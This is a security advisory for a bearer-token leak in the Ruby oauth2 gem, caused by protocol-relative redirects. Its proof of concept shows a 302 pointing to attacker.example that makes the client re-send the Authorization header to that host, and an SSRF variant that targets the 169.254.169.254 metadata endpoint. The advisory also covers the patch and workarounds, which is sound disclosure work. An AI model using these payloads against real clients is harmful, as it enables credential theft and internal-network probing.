high · 8.6CVE-2026-54603Jul 28, 2026

CVE-2026-54603: oauth2 Protocol-Relative Redirect Bearer Token Leak

Shubham Kandhare
Security Engagement Manager, SecureLayer7

The Ruby oauth2 gem blindly follows redirects whose Location header starts with //, letting an attacker-controlled server steal your OAuth bearer token by hijacking the redirect destination.

Packageoauth2
Ecosystemrubygems
Affected>= 0.4.0, <= 2.0.21
Fixed in2.0.22
CVE-2026-54603: oauth2 Protocol-Relative Redirect Bearer Token Leak

The problem

OAuth2::Client#request follows 301/302/303/307 redirects by calling URI#merge on the raw Location header. Per RFC 3986 §5.2, a value starting with // is a network-path reference that replaces the base URI's authority entirely.

The recursive call reuses the original req_opts unchanged, so any Authorization: Bearer header that OAuth2::AccessToken#configure_authentication! attached for the first request travels verbatim to the attacker's host. The default token mode is :header, meaning every AccessToken#get / #post / #request call is affected with no opt-in required.

Proof of concept

A working proof-of-concept for CVE-2026-54603 in oauth2, with the exact payload below.

http
# Attacker controls (or influences) a redirect from the IdP:

# 1. App makes a normal resource request:
#    GET /userinfo HTTP/1.1
#    Host: idp.trusted.example
#    Authorization: Bearer SECRET-BEARER-TOKEN

# 2. IdP (or compromised proxy) responds:
HTTP/1.1 302 Found
Location: //attacker.example/leak
Content-Length: 0

# 3. oauth2 resolves the redirect:
#    URI("http://idp.trusted.example/userinfo").merge("//attacker.example/leak")
#    => "http://attacker.example/leak"
#
#    Then re-issues the request with req_opts intact:

GET /leak HTTP/1.1
Host: attacker.example
Authorization: Bearer SECRET-BEARER-TOKEN

# SSRF variant - hit internal metadata endpoint:
# Location: //169.254.169.254/latest/meta-data/

The root cause is in lib/oauth2/client.rb: full_location = response.response.env.url.merge(location) passes the unvalidated Location string directly to URI#merge. A //host/path input is a legal RFC 3986 network-path reference, so merge drops the trusted base host and adopts the attacker's host, all while keeping the same scheme.

The patch (commit 0f0a474f) adds two defenses: it prefixes any location starting with // with ./ before calling merge (turning it into a relative path that cannot override the authority), and it compares the origin of the resolved URL against the prior request's origin, stripping Authorization and any configured header-format credential headers before following a cross-origin redirect.

CWE-601 (Open Redirect) enables the initial misdirection; CWE-200 (Exposure of Sensitive Information) describes the bearer token disclosure that results.

The fix

Upgrade the oauth2 gem to version 2.0.22 or later. The gem is available on RubyGems: gem 'oauth2', '>= 2.0.22'. As a short-term workaround before upgrading, disable automatic redirect following by setting max_redirects: 0 when constructing OAuth2::Client and handle redirects manually, or validate and reject any Location header that starts with // at the application level before it reaches the gem.

Reported by tonghuaroot.

References: [1][2][3][4]

Related research